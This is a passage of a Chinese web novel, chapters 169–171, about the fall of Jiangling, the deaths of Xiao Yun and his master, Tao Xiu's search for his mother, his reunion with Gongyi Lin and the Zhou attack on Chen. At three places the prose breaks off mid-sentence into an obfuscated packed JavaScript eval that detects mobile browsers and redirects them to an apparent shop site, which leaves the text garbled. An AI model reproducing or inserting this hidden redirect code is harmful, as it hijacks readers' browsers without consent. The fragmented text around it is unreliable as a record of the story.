但一匹疾驰的马带来噩耗,那人滚下马背,匐在地上哭丧着对萧宸禀报:“西门破了,西门破了——”声嘶力竭的一声,把在场的人震的面色发白。 萧宸后退一步,呐呐问道:“破了?” “有人背叛,打开了城门。” 陶修飞速跑下城楼,集结数百虎兕军,上马欲走,萧宸叫住他:“麟儿,你做什么去?” “我不知道,但我只能这么做。” 扬鞭将走时,萧宸拽住他的马,脸上说不出的苦涩和悲痛,把诸样情绪压抑成喉间的一句话:“开城投降吧?” 听见这句话的人只有陶修和萧蕴,兄弟二人皆看向父亲。 “此刻境况,降与不降已无区别。降,尚能苟且偷生黯然退场,不降,顶多死后有名。我年将半百,死不足惜,但你们兄弟二人和满城……” “父王,别说了。哥,我跟你去西门,在竹帛上留个指头大的名也够了,我不怕死,我去杀了这帮周狗。”萧蕴不给他们任何选择,腰间插上马鞭,跳上马就冲了出去。 俩人凑齐城内最后的骑兵,穿梭在杂乱狼藉的街道上,铁器锵锵,蹄声慌张急切,惊得躲藏在家中的百姓簌簌发抖。 开西门叛逃之人陶修不认识,是朝中官员,他们赶到时,几个叛逆者早已融入敌军的大营。 周军从大开的西门涌入,比大风时江上掀起的潮水还吓人,他们掌握生杀的主动权,闯进城内见人就砍,到处鲜血淋漓,潮湿的风把这股血腥气刮得满城都能闻见。 他们还兴奋地嚷着:“抓住梁主,封万户侯啊!” 陶修一路疾驰,片刻不敢停留,目光扫过遍地尸体,把牙齿咬得发酸,在与西门的周军兵戎相见时,只来得及对萧蕴喊道:“萧兕,我还是那句话,好死不如赖活。” 叫声被嘈杂纷乱的嘶吼堙灭,两人被人流冲开。 百姓和将士们再次看见十几日来被人津津乐道的红绸世子的英姿,但那又如何,一切都晚了,似昭明王一样雄武的世子在人群中杀得衣不见颜色,杀的连换三把兵器,可围拢他的人只增不减。 那些想取他人头的人更兴奋,比冲进城中央逮梁主还踊跃。 枫叶寺的钟声没停,每隔一段时间就悠扬的撞击几次,轰隆近两天的雷声消失,一道破天的闪电之后,江陵城在这道耀目的白光下显现一瞬,随后便被大雨和黑暗吞噬。 这场雨来的不够及时,城破了。 陶修精疲力竭跪在大雨里,撑着昭明剑,绝望地盯着躺在血泊里的弟弟,才将十八岁就要陨落的兄弟。 膝盖一寸一寸往前移,留下两道污水的痕迹。胡峤为这对兄弟劈开一圈告别的空地,睚眦目裂,寸尺不让。 陶修把萧蕴抱在怀里,擦去他嘴角流不完的血,大雨不歇,他理开袖子挡住雨水,喉咙酸涩,发不出一点声音。 重伤位置不止一处,陶修按住萧蕴腹部汩汩流血的创口,很冷静,不忍惊他一下,“萧兕,我带你去找医工好不好,我以前受过很多伤,都没事,你也会没事。” 他说着哄人哄己的谎话,直到萧蕴伸手捋开他额前被雨打湿的碎发,他终于落泪不止。 “哥,哥,”每吐出一个字,鲜血就从嘴里溢出,“今日能和你并肩作战,我也不那么恨萧钰了。哥,我死可以,可我不想你以这种方式赴死,萧辙若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092840|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能活下来,今后无父无兄弟,你多教导他。” 萧蕴的声音变软变低,变无声,噙笑的双瞳渐渐涣散,五指骤然松散开,把用了几年的马鞭丢在泥泞不堪的雨水里。 陶修把他紧紧搂在怀里,用脸颊贴他的额头,抚弄他的脸,把他浑身摸遍,再对上那双失去光彩半睁的双目,突然呼出一口气,全身皆散了架,颓废的散落在大雨里。 他见过那么多死人,失去许多同袍,从没像现在这样痛苦过,胸腔的心还在跳,但他感觉身体渐渐碎了,天地在雨雾中苍茫一片,大风不息,从脚边爬过去的泥水夹带红色,此刻,他全无斗志,想搂着萧蕴多待片刻。 这乌七八糟糟蹋生灵的世道何时是个头,幼时就常听陶彪讲疆场的残忍,十几岁时听说齐国覆灭,他没见过齐国灭亡时的惨景,但那尸横遍野的凄惨古今相同,与眼前何异,他痛恨、厌恶此乱世。 胡峤眼见城主崩塌在原地,无知无觉,如何唤都唤不醒,正要豁出命护他最后一程时,一颗人头砸在城主腿边。 鲜血淋漓、眼珠惊瞪的人头把一汪雨水四下溅开,陶修木讷地转头看去,又望向丢下人头的人。 眼中渐渐有了活气,是杨静瑗。 杨静瑗提着剑缓缓走来,跪在萧蕴跟前,在他额头落下一吻,抬头对陶修说:“第一个冲进来的周军将领已被我杀了,我替萧兕报了仇。” 她满眼绝望,捡起萧蕴的鞭子与自己的鞭子绑在一起,对陶修说:“兄长,我把萧辙交给萧颐了,你替我抚养他长大,贫穷富贵都无所谓,只要他康宁安乐。” 等陶修反应过来她话中的意思,惊惧的出手阻止,杨静瑗手中的利刃已割上脖颈。 萧瑛死了,萧蕴死了,杨静瑗也死了,这就是亡国的代价。 胡峤对城主又喊了两声,他耷拉肩膀,丧气更甚,已无活下去的信念。胡峤算是机智的,隔着雨幕对城主大吼一声:“公仪公子要是知道你死在此处,他一定会率军来战,那时候死伤更多。” 胡峤期望“公仪”二字能陡然叫醒城主。 果然有用,城主放平那对夫妇,拄剑起身,眼中尽是戾气。 陶修把二人马鞭插入腰间,戳起长枪,翻上马背冲开人流,在人群中大开杀戒,迅猛冲撞,自做斥候起至今,从没有过此刻的心狠手辣,第一次带着恨意斩杀敌人,长枪捅进他们胸膛,只觉得痛快、解恨,这些鬼东西都该去死,好战的人统统去黄泉见面,他折断一支长枪,又拔出昭明宝剑,格挡箭矢、劈瓜一样剁开他们的头颅。 胡峤看得热血沸腾,不待他要与城主搭档,忽发现城主有离开西门的意思。 周军越围越厚,陶修几次冲杀都突不了围,箭矢给这不息的大雨又增了层密度,他身中两箭,仍精神振奋。 此城无望,他要护住萧蕴的骨血、带走父母,去他的誓死不屈慷慨就义的气节,他不管、不在乎,活下去比什么冠冕堂皇的话都实在,自己可以死,萧蕴的骨血不能。 169.梁国就此灭了 城内被敌军和这场大雨蹂躏的混乱不堪,西门守将和带过来的虎兕军节节败退。能逃命的开始逃命,众人在这凄风苦雨里奔逃、哭喊。 更坏的消息传来,南门也被攻破。那是岳阳王萧宸坚守的南门,此门一破,众人都明白这个意味着什么,梁军的奔溃从第一根投降的兵器的放下,潮水一样,城内将士已不做抵抗。 陶修杀得失去理智,脑中只要萧辙,他要带他走,马鞭一下一下抽打马尾往城内狂奔,轰然一声巨响,坐下的马撞上一道绊马索,梁国最后一根支柱倾倒折断。 无数根长戟将陶修困在其中,他在污泥里挣扎,捶打脏水,做不甘的嘶吼。 一道人影直奔他掠来,像九岁那年劈开黑暗给他引入光亮一样,师父再次出现。 陶修向他伸长手臂央求哭喊:“师父,救我,我不能死在这里,救我——” 辛南佐浑身是伤,雨和血交融,看不清他本来面目,谁也想象不到他在千军万马里如何来到西门,再护徒弟一次。辛南佐已力竭不能再战,见到徒弟那一瞬,四肢陡然重聚力量,冲散围困陶修的敌军,挥刀乱砍。 又有几十人争相做他的刀下亡魂。 周军持械把师徒围住,大雨迷蒙,他们一次次抹去脸上雨水,生怕一个不清醒就人头落地。 无法近身,只能上弓箭,下达命令的人陶修认识,是谯真,寿阳败在他手下的谯真。 万箭齐发,无坚不摧,却摧不动辛南佐磐石一样的血肉,厚实的身躯为陶修撑起一堵墙,挡住所有利箭。 辛南佐咧开嘴笑了,边笑边吐血,面孔很滑稽,大手搭在陶修肩上,嘴里嘟嘟哝哝,轰一声跪了下去。 连番打击,陶修已失魂落魄,恰似一具行尸走肉。 “麟儿,我终于能死了,师父我很开心啊!” “师父,别丢下我——” 辛南佐仰着头,一脸的心满意足,“我死的倒轻巧,就是不知他们能不能放了你,我本想带你走,但你的为人我清楚。这回,既能为河东王效命,还能护你最后一次,这世上天大的便宜居然让我占了,上天待我不薄。” 辛南佐几乎赤裸上身,一个个血窟窿很骇人,也使人肃然。 陶修把他平放在地,迅速解开腰间脏兮兮的红绸,脱下身上裲裆甲,边为辛南佐穿上边冷静的下令道:“辛十三,我以萧世子之名,今赐你这件铠甲,今后你便是我萧家的一员大将,死后以将军身份立碑建冢,享后人祭拜。” 辛南佐抓住极不合身的铠甲,露出短暂灿烂的笑容,恳求道:“世子,那辛十三能不能葬在静山?” 那是昭明亡长眠之地,也是萧瑛刚埋葬之所。 “不要再说话了,我认识谯真,他能放你走,你等我!” 辛南佐抓住陶修的手腕:“傻麟儿,能不能?” “能,能,若我还能活,一定亲自……”陶修哭出声,肝肠寸断。 一辈子要做萧钰帐下大将的辛南佐虽未能得偿所愿,但萧家世子亲口拜他为萧家将军,比当萧钰的大将还威风,追随一辈子,还是自己养大的徒弟最豁达爽快,不给人画大饼,不骗人,说到做到,连铠甲都当场就赏赐了,值了,够了,还能葬在静山,真是圆满的一世啊,辛南佐安然阖上双目! 谯真把陶修和胡峤绑了,史同乐把城中所有萧家人和朝廷官员都绑了。 江陵城覆灭,梁室自此黯然退场。 后来,人们说周军在皇宫的御花园发现了梁主,平静地死在休憩的石床上,身着铠甲,他不是自杀,也并非惊吓,而是死于心力交瘁。 南门破时,百姓看见发誓不拿兵器的萧宸违背誓言,说他在马上的英姿很耀眼,不愧是与昭明王打下江陵这座国都的猛将,可惜,越强的人越容易折断,史同乐让他投降时,他把最后一剑对准自己的胸膛。 两日后天空放晴,被大雨冲刷过的江陵城有些干净,血腥气被夏风一吹,彻底淡了散了,城内、城外的尸体被清理掩埋,这里好像什么都没有发生过。 清理尸体的人说西门最难清理,他们很惊讶那一堆堆死尸是红绸世子和几百虎兕军干的,他们有点不信,因为在法场上他们见过传闻中的萧世子,整个人枯败无光,就像他们清理的死尸一样没了活气,怎么可能杀出那样一片尸山血海? 周主下令斩杀所有梁国宗室的人,法场行刑的最后一刻又传来一道诏令,让梁室所有人迁居大兴城,搬到他为梁主建好的那座庭院里。 带上脚镣前,陶修对谯真说要埋葬亲人。 静山还是此前一样幽隐清静,夏风和煦,树叶沙沙摩挲,任山外的浩劫如何惊天动,此处依旧日光缓缓,山风轻吹。 萧家那些生则有勇,死则成名的族人都葬在此处。 陶修浑浑噩噩埋了一天的土,没有悲痛,脑子一片空白,迷惘地走出山林,站在山路的岔口前不知该往哪里走,一条可以离开江陵,一条则是重返城里。谯真答应他来给亲人填土,也暗示他随时可以离开,毕竟他还有陈国镇北将军这一身份。 那日,杨静瑗说把萧辙交给萧颐时,有一瞬,陶修觉得其中有点不对劲,为何她没将萧辙交到其祖母手里。 陶修站在岳阳王府大门外,夜幕下,王府显得空旷阴森,大门被封,四周没有人迹。一场巨变,过去的富贵繁华如镜花水月,碰一碰就碎了。 他在大门前长跪,直到夜色深沉。 一个刚送葬了亲人的老头从门前路过,陶修叫住他,问王府的王妃去了哪里?他实在无人可问,寂静的街道上只有这个老头是活着的。 老头肯定地告诉他:“那日大雨倾盆,我们几户人家打算一起逃难,人群里突然混进一个荆钗布衣的妇人,缩在角落里什么话都不说,我们往哪她就往哪。我老婆子好奇,就问她出了城要去哪里,她说去郢州,那有亲人可以投靠。那日太乱,太乱,她和我们还是被周狗给冲散了。我老婆子说,那妇人就是这王府的王妃。天杀的周狗,王妃孤身一人,她能逃哪里去?” 郢州,为何是郢州? 丈夫、儿子皆在城内战死,她为何去郢州? 想明白后,陶修的泪又冲出眼眶,迅速离开此城。 因为郢州有萧钰,她去报仇了,一个从未离开江陵的妇人,孤身一人去郢州为长子报那十六年失踪的仇恨去了。 曾经国未亡家未破,她被逼迫着可以跟男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104563|123338||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人们一样以大局为重,赞同萧钰的做法是对的。 如今,她以一个母亲的身份,去为儿子讨回公道。 天地茫茫,找一个人何其不易。陶修沿路打听,不敢走快,一条道来回寻找几次,近一个月后走到陈国地界,正往郢州赶时,一个惊人的消息从郢州传出,也传遍大陈的东南西北——萧钰被刺身亡。 一州刺史死于妇人之手,与其生平立志要战死沙场、为大梁而死的宏愿天差地别。 他临死前,撑着最后一口气下令部将,不许残害那妇人。 五花八门的传言甚嚣尘上。 他们绝猜不到他们的关系,也猜不到事件背后是一个母亲的复仇故事。 陶修到达郢州,又与母亲失之交臂,却意外碰见萧颐,找到母亲后下一个要找的人将会是他。 萧颐与陶修仅见过几面,因父亲萧钰的关系,他信不过此人,把萧蕴的骨血交给陶修时,他半是叮嘱半是威胁:“你受萧兕临终之托,又是萧辙的伯父,我信你,不管你住到哪里,每隔五年我会去探望他一次,望你好生抚养他成人。” 寻找母亲的道路上多了一份牵绊、一份责任,一连失去多个亲人的痛苦因怀中的小人儿消减大半,这孩子是萧蕴的延续,是萧家的希望。 陶修在寻母的路上走了近半年时间,到过很多地方,也出现在每一具无人安葬的死尸前确认,后又去过江陵五次,皆失望地离开。 他形容憔悴,衣衫褴褛,像个无家可归的流民,那一战使很多人都失去家园,他这副模样无人好奇。只是有一次,他在逐渐恢复生机的街头看见杨微子时,难过的扭头就走。 第二次,在城里东游西荡的身影还是被坐在高头大马上的杨微子看见。 江陵城破后,杨微子解散所有水师向周投降,后经历一番官员调动,他依旧领原先职务,掌管江津水师,对他而言什么都没变,不过是发俸禄的君主换了个姓氏。 面对幼时的玩伴、曾经的世子、梁国的宗室后裔陶修时,杨微子面露愧色,久久说不出话,反而是陶修先开口劝他:“天数易变,革朝换鼎,躲不掉的终究躲不掉,看开些。” “萧琢,周主宽仁厚德,活下来的萧家子弟在大兴城也加官进爵,活得,活得还算不错,你何苦把自己作践成现在的模样?” “那日城破,我与母亲走散,如杨兄还能记得过往的情谊,请四下留意我母亲的行踪,我在陈国漳南,随时联络我。” 怀里的孩子因居无定所的奔波日渐消瘦,陶修不能再在江陵停留。 此时能抚养幼子的人只有陶舒。 陶修像个修行的苦行僧,以自惩的目的徒步千里,千辛万苦走回玉河村。 数月后,陶舒迎接院外乞丐一样的兄长时,又惊又疼,立即接过萧辙紧紧搂在怀里:“你为何变成这样?这是谁的孩子?” “我的儿子,帮我好好照顾他,三年后我来接他。” 只留下这句话,陶修就离开了桃花亭,路过玉河村时他没有去陶家的茅草屋前看花期已落的绒花树,只站在清江河边盯着河面愣了许久,小钟山依旧青秀葱茏,离开玉河村进入兵营才六七年时间,像过了一世那么久。 170.你对我真残忍 以后的路要怎么走,陶修在返回漳南的途中不停的思索。 萧家如此巨变,他几乎受到灭顶的打击,本该在他空虚悲痛时予以安慰和帮扶的人,他现在一点都不想见。 陶修知道自己失踪的大半年公仪林一直都在四处打听,动用他所有的人脉,甚至把周国内部都刺探个遍。但陶修不想见他,觉得曾经与公仪林之间的点滴如同稚童的玩笑,可笑又荒诞。 他在吴郡去漳南这条路上走了很久很久,体会了把流民的滋味。 寒冻将至,一个不好的消息从周国的大兴城传出,震天彻地,周国又要对外发兵,这次的剑锋直指大陈。陶修放不下漳南的百姓,对战火下百姓的遭遇怀有深深的同情,他决定重返漳南。 江陵城被攻破的消息传至建康时,公仪林正在石头城操练兵马,静静听陆颢讲述一个又一个为梁国的存亡英勇献身的萧家子弟的姓名。 听到萧蕴名字,他的心脏闷痛好一阵子,眉头紧蹙,脑海里都是那少年挥鞭抽人的嚣张样,即便嚣张,他死的悲壮,令人钦佩。 陆颢又说陈国开赴到江津的一万水师回来三千多人,说如今的江陵置了州郡,说萧钰的死可能是被他的族人所杀,又说周主对亡国君臣的种种仁慈手段。 陆颢说了那么多,就是没提带兵去江津的镇北将军的下落。 “把最坏的结果告诉我,不必躲躲藏藏。” 那顿公仪达不愿给外人知晓的家法还是露出了点风声,朝堂里年纪相仿的同僚再看见公仪林时,一副了然的模样,暗暗吃惊、看乐:“哦,原来喜欢男人,谁还没当过脱缰的野马,这上不得台面的事就你小子藏不住,非得扬出来。” 那年事高的看见他,就露出公仪达一样恨其不争的表情,不愿多说一句。 李颂“哼”一声,“臭味相投,你整日清高什么?” 陆颢自然也懂,所以竭力隐藏陶修失踪的消息。 “萧家人被押赴刑场时,有许多目击者看见过陶修,后来萧家被赦,陶修就不知所踪。”陆颢说出自己的猜测:“他在西门杀敌无数,对手正是他过去的手下败将,你说此人会不会把陶修抓起来折磨一遍再杀?” 说完这句话,陆颢见公仪林好似死掉了,脸上的颜色又黄又白,匆忙挽救:“陶修那么厉害,肯定逃啦!” 整整八个月,公仪林除了确定陶修没死在那场动乱外,对他的行踪一无所知。 漳南长久无主,他不许任何人顶替县尹位置,无处可去的陶修一定会重回漳南。 天顺六年三月的一天,天气温暖,晴空如洗。胡峤来到绒华院门外,递上一封拜帖。 接帖的冰清玉润还记得这糙汉,依旧被他背后的两把大刀吓得花容色色,“等着,我通知大管事。” 司子狂奔而出,抓住胡峤的肩膀问:“陶县尹在哪?” 司子身后是公仪老夫人,一年来都留在绒华院照顾常生病的儿子,此刻,也心焦地等着胡峤的回答,那是悬着她儿子性命的消息。 “城主他,他——” “他什么?他到底怎么了?”司子浑身流汗。 公仪夫人此生从未经历此种惊心动魄的时刻,朝前半步,耳朵伸长静等下文。 “城主还在后面,随后就到。” “阿弥陀佛!”老夫人捻着佛珠长长松了口气,对司子吩咐道:“叫人去宫门外等公子回来吧。” 公仪林赶回绒华院时,下了马也未敢轻易进院,而是盯着门匾上几个稚气的字愣了片刻,题下几个字的人就在里面,无来由的多了几分害怕。 走进院子,他先看见绒花树下品茶用的小桌,几道傍晚的金色日光照在桌旁盘腿而坐的年轻人脸上和肩头,显得那人和院子恬静安宁。 陶修听见轻微的脚步声,侧身转过头,扶桌站了起来。 这一起身,公仪林才发现自己一年来所受的相思之苦在陶修面前简直不值一提,陶修瘦多了,在故土上遭受的罪和折磨都在这副清瘦的形容里暴露的淋漓尽致。 公仪林抱住他,按进怀里,不顾院门旁听到消息赶来慰问陶修的陆颢和孙栖寒在场。 “康乐,又一年了,你一向温和待人,为何独对我如此残忍?” 陶修抬起手臂也将他环在怀里,闭目流了两行清泪,喉咙紧绷,许久才说:“失去亲人,我无处可诉,思来想去,只想来见你。” 陶修自小就过的清贫日子,除了师父和陶舒就没有其他亲人,江陵那边的人和物就像听一场故事,沉静其中,沾了一身的苦痛,回到现实里,依旧孤身一人,可这痛彻心扉的苦赶不走,酸胀的心里时刻惦念着十二岁那年教他读书写字的公子,那是他最熟悉的人,跟他诉个苦,听听他的安慰,只有他知道他有多难过。 所以,他今日就来了。 两人抱了多久,他们自己不懂,反正门边的陆颢和阿八觉得时间难熬,大眼瞪小眼,做诗人样仰望天空,眼珠子转过来,发现他们还抱在一起。 清清嗓子准备告辞下回再来,突然发现他们一直钦佩羡慕的右卫做了件破天荒的事。 他捧着陶县尹的头,朝他脑门上狠狠压了一嘴,一下不够,位置也不够,又侧头对着其他位置继续亲,每一下都很重,很用劲。 阿八揉揉鼻子,极不自在地对陆颢说:“走吧,留下了也不待见我们。” 陆颢的脑门似乎很痒,不停地挠,边走边挠,挠的阿八看不清他脸上复杂的神色,二人翻身上马,绝尘而去。 见怪不怪的胡峤和司子很淡定,胡峤板着面孔眯起双眼,直直地盯着那二人,似这天底下已没有什么东西能把他那颗心搅出波澜来。 司子坐在廊下,嘴角沾笑,想这晚上给他们准备些什么吃的,都遭了罪,都该补补。 冰清玉润有种豁然开朗、醍醐灌顶的清透感,四张嘴发出同一句话:“果然如此。” 久别重逢,陶修把近一年来走的每一步路都告诉公仪林,公仪林认真听着,没有打断,最末了时除了抱着陶修,所有安慰的话都不及双臂传达的力量厚重。 “我会让人继续寻找母亲下落,放宽心。” 公仪林不敢提萧蕴,怕再伤陶修一次,陶修不敢提萧辙,那是萧家最后血脉,谁都不能知晓。 陶修在京城只待三天,离开的前一夜,公仪林的理智始终斗不过男人的天性,欲望蠢蠢欲动,又不敢张口直接要求,毕竟得照顾着陶修的状态,只好处处暗示,在他的指头上摩挲,轻柔又坚持不懈。 小心翼翼的模样终于让修行苦僧般的心上人明白其中意思。 两人都知道急需一次身体的交合才能弥补多日的相思之苦,否则,这难以握在手里又珍贵无比的感情该如何坚守、又凭什么去抵消长期分离造成的辛酸。 陶修主动替他解开衿带,只剩一件薄薄的里衣,他们拥在一起,静静感受彼此交付身心的踏实感。 公仪林的话很少,只顾埋头苦干,所有心疼和怜惜都等他干完了再说,一次又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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善使双刀的胡峤在校场苦练长枪,向城主请教枪法时,陶修瞠目结舌,勉强笑笑:“我?你问我?我哪有水平指教你?” 陶修不懂胡峤做事一根筋的行为自何而来。 胡峤在西门被抓后,“有幸”经历了萧家公子王孙的待遇,在刑场上等着被斩首,那道旨意改变许多人性命,他被关在囚笼带去大兴城,活着的萧家子弟没有一个人认识他,他也懒得开口。 在大兴城被关的暗无天日才想办法逃回陈国。 知道城主失踪后,他也踏上慢慢寻找城主的道路,没有那么多巧合,他没找到城主,但听到城主归来后,他回程的速度比以往都快。 “胡峤,其实你不用时刻都保护我,你该成家,把这份精力用在他们身上,我,我觉得,我也算是挺厉害的人,是不是?” 陶修不擅接受人好意,胡峤给他的压力太大。 “城主,我胡峤是个怪人,一颗心只能用在同一件事上,这把双刀,十五岁拿在手里,至今没有换过,对恩人的忠诚也如此,之所以学长枪,是因为城主又将要恶战,若你深陷危难,我不能因一把兵器的耽误护不了你。我有家人就不能为城主拼命,这事以后再说吧。” 胡峤说得郑重严肃,不掺一点假。陶修摸摸鼻子极为惭愧的笑笑,实在难抵胡峤的热情,等大战结束后,一定以城主身份下令他找个家人,依他的个性,他的妻与子会有个踏实的靠山。 171.亡国前的反击 周国伐陈的脚步十分迅速,兵力庞大、分五路共进,冲着围拢建康而来。 陈国正面抵抗敌军的是卢思苌、鲁云渊、杨原祁手中的三大营,二线是大江这道天然屏障,若敌人成功渡江,还有最后一道保障——石头城。 一旦石头城被攻破,陈国的咽喉便被扼死,再无还生机会。 领丹阳府军的公仪林直接在石头城住下,高沟深垒,布防全城,在秦淮河与大江连接段打下木桩、沿岸修筑木栅,此次面临的危机与前两次的北伐不同,陈国处于被动侵略位置,在周国号称的八十万大军的压迫下,各州郡战战兢兢,百姓惶惶不安。 边境的几处防御固然做的很好,走在路上,公仪林还是察觉人心的动乱与不安。 他凭江远眺,来回巡视大江两端,假如大江上出现敌人战舰,也意味着坚守在他前面的陶修败了,那是他深深恐惧的一幕。 东扬州的陈明聿、陈千越兄妹二人,也已枕戈待旦,等着大军临至。 这几年,陈千越受其兄长影响,常年奔走于闺房和兵营中间,遣将调兵,封刀挂剑,全然不输男人,陈明聿非常欣赏这个妹妹,为激励其不俗的胆识,大战在即,他力排众议让她做了麾下右先锋,跟左先锋一样统兵打仗。 就在四面八方上下同心准备抵御周国南来时,一个人一件事却暗暗地改变了陈国命运,提前结束所有人以为会漫长而艰难的反抗战事。 面对周国八十万大军压境,权衡利弊的杨弘易选择叛变,暗地接受周国高官厚禄的诱惑,压下各兵营传到宫中的机密文件,对陈主和官员封锁外面告急的文书。 直到敌军两路大兵站到寿阳和京口大营的对面,京城这边还以为这场危机来的不痛不痒,远远触及不到这个国的中心。 八十万大军五路分开,寿阳城下二十万,江矶大营前二十万,扯地连天的兵量惊得鲁云渊和卢思苌连番确认:“二十万?” 寿阳南面的陶修也愣在原地,当时周灭梁时不过才出兵十五万,如此看来,周狗又是冲着亡人之国的目的而来。 用了整整一年时间艰辛打下的钟离,竟在一日之间就被周军攻破城防,卢思苌几乎气出一口血,面对距此百里外的二十万敌军,他忧惧难眠,论数量,江矶营、飞燕营及丹阳府兵加起来才将近二十万,何况还要分出一半护卫京城。 几封送去京师的急报数日不见回音,这仗如何打、如何决策,上面一点消息都没有。 眼下只得做好防御,随时应战。 前年夺回寿阳后鲁云渊立即出镇郡守,此城和周边的漳南、衡新和醴县三城呈“之”字型戍守边境,要三位城主调整兵马,备齐兵仗物器,静候他的命令,必须打好最前沿的战事,否则兵败如山倒,很容易动摇各地军心。 周军刚有动静时,鲁云渊就把文书快马送进京城,如今,两方都已开战,圣上和朝中官员竟然还没做出任何反响。 他们到底要干什么? 三月廿四,周大军又拔寨向前五十里,气势盛大,耀武扬威。鲁云渊主动出击,率军迎战,两阵对圆,鲁、贺二人都带着仇恨亲自在阵前挑战。 二人都是久经沙场的老将,势均力敌,在军前为将士们展露一场震撼人的单挑。 可惜鲁云渊不敌贺功臣,对方在刻骨的仇恨下立誓踏平大陈,一雪两年前丢掉寿阳的前耻。 两军厮杀一场,负伤的鲁云渊撤军回城,坚守不出。 贺功臣步步紧逼,大寨又朝前挪了三十里,直逼城下。 就是这场首战就输掉气势的一战,陶修忧心忡忡,担忧几个城池都对抗不了贺功臣的大军,去信给公仪林,问及大江上的防线布置如何。 接到信的公仪林正奇怪陶城主居然舍得写信来,阅信后大惊失色,上马直奔宫城。京城这面一连十几天都不曾收到各州郡传来的文书,之前听见周军发兵的消息,公仪林和其他官员都以为是周军弄出的又一次“疲兵之策”,多次喊打喊杀却从未见其动静,原来仗都打到家门口了,整个建康还蒙在鼓中。 能压下机密文书的只有都官尚书杨弘易和田新阳二人。 一入宫门下了马,公仪林急往太极殿奔走,陆颢也被迅速召到跟前,公仪林压低声音对其吩咐:“周军逼近寿阳,鲁将军已输了一场,我们还什么都不知。速带人捉拿杨弘易、中书舍人田新阳,若有抵抗,格杀勿论。” 陆颢面色冷峻,挂好腰刀,吩咐部下点兵五十,临走时确认道:“寿阳已输了一仗?” “输了,鲁将军手腕受了重伤,恐怕拿不起兵器了。” 两人神色匆匆,分头行动。 很快,朝中元老级的大臣都齐聚太极殿。此时正晌午,陈明俨打着哈欠出现在诸臣面前,脸有倦色,无精打采问下面文武:“众卿急急让朕上殿,所谓何事?” 陈颛捧上一摞被拆开又折好的公文,痛心疾首问侄子:“这些,这些陛下是否过目,里面有四封告急羽檄,陛下是否都看过?” 陈明俨陡然醒了神,朝旁边宫人看去一眼,没等宫人走下来取文书,陈颛亲自递了上去。 “这,这……这如何是好,眼下有何应对之法?”陈明俨哆哆嗦嗦,脸色刷白,他想起这些时日来,杨弘易趁他酒醉不清醒或是兴致高昂时提过这些加急密件,他都给忽略了。 朝臣商讨对策时,陆颢上殿对公仪林耳语道:“杨弘易两日前打着监军的名义去了京口,现不在家中,田信阳被我绑在殿外。” 姓杨的这畜生是不是已溜了?他为何会溜? “带上来!” 公仪林一脚就让田新阳跪了地,忍着怒问:“田大人,压下羽檄的目的何在,从实招来,杨弘易现已生不如死,我与诸位大臣再听听你口中的狡辩。” 田新阳吓得魂不附体,且不说他并没得到周国给杨弘易一样的承诺,就是平日,虽和杨弘易是一党,他在这种团体内起的不过是“助纣为虐,推波助澜”的作用,实际的核心人物还是姓杨的。 “现寿阳、京口正与周大军殊死抵抗,连豫章郡都有羽檄递来,你们敢压下天大的机密不报,死万次都不够,把知道的都说出来。” 田新阳闻言大骇,伏在地上对圣上求饶道:“陛下,杨弘易说这都是些无关紧要的表奏,他负责把机密……” 陈明俨自知这件事里最大的责任在于己,心虚地打断道:“追责这些已无用,紧急关头,诸位大臣有何应对计策?” 应对之策都在水深火热中的几位将军身上,他们已然都投 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六月,周国的太子元意亲临战场都督几路大军的进度,稳坐军帐,运筹帷幄。他了解到即便攻下寿阳之后,还有三座狗皮膏药样的城拦住大军前进时,立即从军中挑选三千行动敏捷的精兵绕开漳南三座城从江上偷渡,暗袭采石。 采石是大江上的一个小岛,陈军驻扎了少量兵力,本职是监视、巡逻大江上的状况,算起来,此位置算是建康城后门的一只守门犬。 元意的计划若得逞,建康大危。 三千精兵分三批悄悄进兵,最后一批鬼鬼祟祟行动时,给陶修派出的斥候抓住了动向。 陶修刚收到敌军鬼祟行动的消息,立即对周石和张城说:“这批人若如期到达采石,可与东下的信州水师合二为一,横渡大江,偷袭建康之南,即便公仪林在江上的布防谨慎、顺利击退这帮偷袭者,也会吓得整个京师半死。” 他带五百骑兵打开城门,不停歇的驰骋,要赶在偷袭者之前赶到江边。 速度还是慢了。 五百骑兵在大江沿岸跑下几十里只追上第三支的偷袭队。天色渐暗,敌人又机灵敏锐,并不与骑兵正面冲突,进行一场小规模的厮杀后突然四散开来,身影都隐没在深沉的夜里。 采石的防备太弱,在陶修赶到登陆的岸口时,这块江心岛两日前已被周军占据。 远水救不了近火,陶修伫立岸边,凝望厚重的黑夜和看不见的江对岸,公仪林在石头城的水军,若巡逻,该会巡逻至此吗? 明知这江心岛已归周军,左右找不到能制止他们偷袭的部队,哪一边都救不了此处的急切,陶修只能暗暗祈祷江对岸的防守再严谨些。 一队人马无功而返,继续坚守漳南。 